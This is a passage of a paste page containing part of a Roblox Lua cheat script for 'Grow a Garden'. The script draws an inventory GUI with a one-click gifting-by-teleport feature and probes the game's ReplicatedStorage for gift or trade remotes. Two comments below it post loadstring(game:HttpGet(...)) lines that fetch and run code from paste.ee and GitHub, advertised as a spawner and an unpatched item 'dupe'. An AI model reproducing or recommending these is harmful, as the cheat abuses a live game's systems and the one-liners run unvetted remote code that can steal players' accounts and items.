  817.     refreshButton.Text = "Refresh"
  818.     refreshButton.BackgroundColor3 = Color3.fromRGB(60, 120, 60)
  819.     isRefreshing = false
  820. end
  821.  
  822. -- Function to create sorted item list
  823. createSortedItemList = function()
  824.     -- Clear existing list
  825.     for _, child in pairs(scrollingFrame:GetChildren()) do
  826.         if child:IsA("Frame") then
  827.             child:Destroy()
  828.         end
  829.     end
  830.    
  831.     -- Sort the items data based on current sort column and direction
  832.     table.sort(allItemsData, function(a, b)
  833.         local aValue, bValue
  834.        
  835.         if currentSortColumn == "Item Name" then
  836.             aValue = a.name:lower()
  837.             bValue = b.name:lower()
  838.            
  839.         elseif currentSortColumn == "Type" then
  840.             aValue = a.type:lower()
  841.             bValue = b.type:lower()
  842.            
  843.         elseif currentSortColumn == "Variant" then
  844.             -- Sort variants (Rainbow > Gold > Normal)
  845.             local variantPriority = {
  846.                 ["Rainbow"] = 3,
  847.                 ["Gold"] = 2,
  848.                 ["Normal"] = 1
  849.             }
  850.             aValue = variantPriority[a.variant] or 0
  851.             bValue = variantPriority[b.variant] or 0
  852.            
  853.         elseif currentSortColumn == "Mutations" then
  854.             -- Sort by number of mutations (more is better)
  855.             local function countMutations(mutStr)
  856.                 if mutStr == "None" then return 0 end
  857.                 local count = 0
  858.                 for mutation in mutStr:gmatch("[^,]+") do
  859.                     count = count + 1
  860.                 end
  861.                 return count
  862.             end
  863.             aValue = countMutations(a.mutations)
  864.             bValue = countMutations(b.mutations)
  865.            
  866.         elseif currentSortColumn == "Weight (kg)" then
  867.             aValue = a.weightNum or 0
  868.             bValue = b.weightNum or 0
  869.            
  870.         elseif currentSortColumn == "Price" then
  871.             aValue = a.price or 0
  872.             bValue = b.price or 0
  873.            
  874.         elseif currentSortColumn == "Favorited" then
  875.             aValue = a.isFavorited and 1 or 0
  876.             bValue = b.isFavorited and 1 or 0
  877.         else
  878.             return false
  879.         end
  880.        
  881.         if currentSortDir == "asc" then
  882.             return aValue < bValue
  883.         else
  884.             return aValue > bValue
  885.         end
  886.     end)
  887.    
  888.     -- Update sort button appearance
  889.     for colName, button in pairs(sortButtons) do
  890.         if colName == currentSortColumn then
  891.             button.Text = currentSortDir == "asc" and "▲" or "▼"
  892.             button.TextColor3 = Color3.fromRGB(255, 255, 100) -- Highlight active sort
  893.         else
  894.             button.Text = "◆"
  895.             button.TextColor3 = Color3.fromRGB(150, 150, 150) -- Dim inactive sorts
  896.         end
  897.     end
  898.    
  899.     -- Display all items (no limit)
  900.     local rowHeight = 30
  901.     for i, itemData in ipairs(allItemsData) do
  902.         -- Create row frame
  903.         local rowFrame = Instance.new("Frame")
  904.         rowFrame.Name = "Row_" .. i
  905.         rowFrame.Size = UDim2.new(1, 0, 0, rowHeight)
  906.         rowFrame.Position = UDim2.new(0, 0, 0, (i-1) * rowHeight)
  907.         rowFrame.BackgroundColor3 = i % 2 == 0 and Color3.fromRGB(40, 40, 40) or Color3.fromRGB(35, 35, 35)
  908.         rowFrame.BackgroundTransparency = 0.3
  909.         rowFrame.Parent = scrollingFrame
  910.        
  911.         -- Create columns in the row
  912.         local currentX = 0
  913.         local columnValues = {
  914.             itemData.name,
  915.             itemData.type,
  916.             itemData.variant,
  917.             itemData.mutations,
  918.             itemData.weight,
  919.             itemData.formattedPrice,
  920.             itemData.isFavorited and "Yes" or "No",
  921.             "" -- Empty for gift button
  922.         }
  923.        
  924.         for j, columnValue in ipairs(columnValues) do
  925.             if j < 8 then -- Regular columns
  926.             local cell = Instance.new("TextLabel")
  927.             cell.Name = "Column" .. j
  928.             cell.Size = UDim2.new(columnWidths[j], -10, 1, 0)
  929.             cell.Position = UDim2.new(currentX, 5, 0, 0)
  930.             cell.BackgroundTransparency = 1
  931.             cell.Font = Enum.Font.SourceSans
  932.            
  933.             -- Special formatting for different columns
  934.             if j == 3 then -- Variant column
  935.                 if columnValue == "Rainbow" then
  936.                     cell.TextColor3 = Color3.fromRGB(255, 100, 255)
  937.                 elseif columnValue == "Gold" then
  938.                     cell.TextColor3 = Color3.fromRGB(255, 215, 0)
  939.                 else
  940.                     cell.TextColor3 = Color3.fromRGB(255, 255, 255)
  941.                 end
  942.             elseif j == 4 then -- Mutations column
  943.                 if columnValue ~= "None" then
  944.                     cell.TextColor3 = Color3.fromRGB(100, 255, 100)
  945.                 else
  946.                     cell.TextColor3 = Color3.fromRGB(255, 255, 255)
  947.                 end
  948.             elseif j == 6 then -- Price column
  949.                 cell.TextColor3 = Color3.fromRGB(255, 255, 100)
  950.             elseif j == 7 then -- Favorited column
  951.                 cell.TextColor3 = columnValue == "Yes" and Color3.fromRGB(255, 100, 100) or Color3.fromRGB(255, 255, 255)
  952.             else
  953.                 cell.TextColor3 = Color3.fromRGB(255, 255, 255)
  954.             end
  955.            
  956.             cell.TextSize = 16
  957.             cell.Text = tostring(columnValue)
  958.             cell.TextXAlignment = Enum.TextXAlignment.Left
  959.             cell.TextWrapped = true
  960.             cell.Parent = rowFrame
  961.             else -- Gift button column
  962.                 local giftButton = Instance.new("TextButton")
  963.                 giftButton.Name = "GiftButton"
  964.                 giftButton.Size = UDim2.new(columnWidths[j], -10, 0, 22)
  965.                 giftButton.Position = UDim2.new(currentX, 5, 0.5, -11)
  966.                 giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
  967.                 giftButton.Text = "Gift"
  968.                 giftButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  969.                 giftButton.TextSize = 14
  970.                 giftButton.Font = Enum.Font.SourceSansBold
  971.                 giftButton.Parent = rowFrame
  972.                
  973.                 -- Add rounded corners
  974.                 local giftCorner = Instance.new("UICorner")
  975.                 giftCorner.CornerRadius = UDim.new(0, 4)
  976.                 giftCorner.Parent = giftButton
  977.                
  978.                 -- One-click gift functionality with auto-teleport
  979.                 giftButton.MouseButton1Click:Connect(function()
  980.                     local targetPlayer = giftPlayerInput.Text
  981.                    
  982.                     if targetPlayer == "" then
  983.                         -- Show error if no username entered
  984.                         giftButton.Text = "No User!"
  985.                         giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 60)
  986.                        
  987.                         -- Reset after 2 seconds
  988.                         task.delay(2, function()
  989.                             giftButton.Text = "Gift"
  990.                             giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
  991.                         end)
  992.                         return
  993.                     end
  994.                    
  995.                     -- Start the gifting with teleport process
  996.                     giftButton.Text = "Sending..."
  997.                     giftButton.BackgroundColor3 = Color3.fromRGB(100, 100, 150)
  998.                    
  999.                     local success, message = giftWithTeleport(itemData.tool, targetPlayer)
  1000.                    
  1001.                     if success then
  1002.                         -- Check status every second for up to 10 seconds
  1003.                         local checkInterval = 0.5
  1004.                         local maxChecks = 20
  1005.                         local checks = 0
  1006.                        
  1007.                         local checkSuccess = function()
  1008.                             checks = checks + 1
  1009.                            
  1010.                             -- If the tool no longer exists, gift was successful
  1011.                             if not itemData.tool:IsDescendantOf(game) then
  1012.                                 giftButton.Text = "Sent!"
  1013.                                 giftButton.BackgroundColor3 = Color3.fromRGB(60, 150, 60)
  1014.                                
  1015.                                 -- Reset after 2 seconds and refresh
  1016.                                 task.delay(2, function()
  1017.                                     giftButton.Text = "Gift"
  1018.                                     giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
  1019.                                     refreshInventoryList()
  1020.                                 end)
  1021.                                 return
  1022.                             end
  1023.                            
  1024.                             -- If we've reached max checks, give up
  1025.                             if checks >= maxChecks then
  1026.                                 giftButton.Text = "Failed!"
  1027.                                 giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 60)
  1028.                                
  1029.                                 -- Reset after 2 seconds
  1030.                                 task.delay(2, function()
  1031.                                     giftButton.Text = "Gift"
  1032.                                     giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
  1033.                                 end)
  1034.                                 return
  1035.                             end
  1036.                            
  1037.                             -- Continue checking
  1038.                             task.spawn(function()
  1039.                                 task.wait(checkInterval)
  1040.                                 checkSuccess()
  1041.                             end)
  1042.                         end
  1043.                        
  1044.                         -- Start checking
  1045.                         checkSuccess()
  1046.                     else
  1047.                         -- Failed to start the process
  1048.                         giftButton.Text = "Failed!"
  1049.                         giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 60)
  1050.                        
  1051.                         -- Reset after 2 seconds
  1052.                         task.delay(2, function()
  1053.                             giftButton.Text = "Gift"
  1054.                             giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
  1055.                         end)
  1056.                     end
  1057.                 end)
  1058.                
  1059.                 -- Add hover effects
  1060.                 giftButton.MouseEnter:Connect(function()
  1061.                     if giftButton.Text == "Gift" then
  1062.                         giftButton.BackgroundColor3 = Color3.fromRGB(180, 80, 180)
  1063.                     end
  1064.                 end)
  1065.                
  1066.                 giftButton.MouseLeave:Connect(function()
  1067.                     if giftButton.Text == "Gift" then
  1068.                         giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
  1069.                     end
  1070.                 end)
  1071.             end
  1072.            
  1073.             currentX = currentX + columnWidths[j]
  1074.         end
  1075.     end
  1076.    
  1077.     -- Update scrolling frame content size
  1078.     scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, #allItemsData * rowHeight)
  1079.    
  1080.     -- Update counter
  1081.     titleText.Text = "Inventory Items & Prices - " .. #allItemsData .. " Items"
  1082. end
  1083.  
  1084. -- Connect sort button click handlers
  1085. for colName, button in pairs(sortButtons) do
  1086.     button.MouseButton1Click:Connect(function()
  1087.         if currentSortColumn == colName then
  1088.             -- Toggle direction if same column
  1089.             currentSortDir = currentSortDir == "asc" and "desc" or "asc"
  1090.         else
  1091.             -- New column, set appropriate default direction
  1092.             currentSortColumn = colName
  1093.            
  1094.             -- Special cases for default sort direction
  1095.             if colName == "Weight (kg)" or colName == "Price" or colName == "Variant" or
  1096.                colName == "Mutations" or colName == "Favorited" then
  1097.                 currentSortDir = "desc" -- Higher values first
  1098.             else
  1099.                 currentSortDir = "asc" -- A-Z for text
  1100.             end
  1101.         end
  1102.        
  1103.         -- Just re-sort and redisplay without refreshing data
  1104.         createSortedItemList()
  1105.     end)
  1106. end
  1107.  
  1108. -- Connect the refresh button
  1109. refreshButton.MouseButton1Click:Connect(function()
  1110.     if not isRefreshing then
  1111.         refreshInventoryList()
  1112.     end
  1113. end)
  1114.  
  1115. -- Find and check gift functionality (try to find the remote)
  1116. local function checkGiftFunctionality()
  1117.     local found = false
  1118.     pcall(function()
  1119.         for _, remote in pairs(ReplicatedStorage:GetDescendants()) do
  1120.             if remote:IsA("RemoteEvent") and
  1121.               (remote.Name:lower():find("gift") or remote.Name:lower():find("trade")) then
  1122.                 found = true
  1123.                 print("Found potential gift remote: " .. remote:GetFullName())
  1124.             end
  1125.         end
  1126.     end)
  1127.    
  1128.     if not found then
  1129.         print("No gift remote found. Gift functionality may not work.")
  1130.     end
  1131. end
  1132.  
  1133. -- Try to detect gift functionality
  1134. task.spawn(checkGiftFunctionality)
  1135.  
  1136. -- Set up auto-refresh (using a safer approach)
  1137. local function setupAutoRefresh()
  1138.     spawn(function()
  1139.         -- Initial refresh
  1140.         refreshInventoryList()
  1141.        
  1142.         -- Check if GUI still exists every 30 seconds and refresh
  1143.         while true do
  1144.             task.wait(30)
  1145.             if not inventoryGui or not inventoryGui.Parent then break end
  1146.             if not isMinimized and not isRefreshing then
  1147.                 pcall(refreshInventoryList)
  1148.             end
  1149.         end
  1150.     end)
  1151. end
  1152.  
  1153. -- Setup auto refresh
  1154. setupAutoRefresh()
Advertisement
Comments
  • DEVSCRIPTGOD
    12 hours
    # text 0.26 KB | 0 0
    1. SCRIPTDEVGOD! UPDATED 13 JUNE!
    2.  
    3. loadstring(game:HttpGet("https://paste.ee/r/Nx5JxjFs"))()
    4. or
    5. loadstring(game:HttpGet("https://paste.ee/r/aJxecq8E"))()
    6.  
    7. ALL EXEC SUPPORT!
    8. new script with seed and pet spawner! EGG AUTO HATCH!
    9. Before fixed, used it fast now guys!
  • Hub10
    7 hours
    # text 0.22 KB | 0 0
    1. [NEW DUPE] Grow a Garden (FE) NOT PATCH YET! Works for all Executors (Use this now before it gets patched!)
    2. 👇
    3. loadstring(game:HttpGet("https://raw.githubusercontent.com/JJSpl0it2/voxhub-gag/refs/heads/main/vohub.lua"))()
Add Comment
Please, Sign In to add comment
Advertisement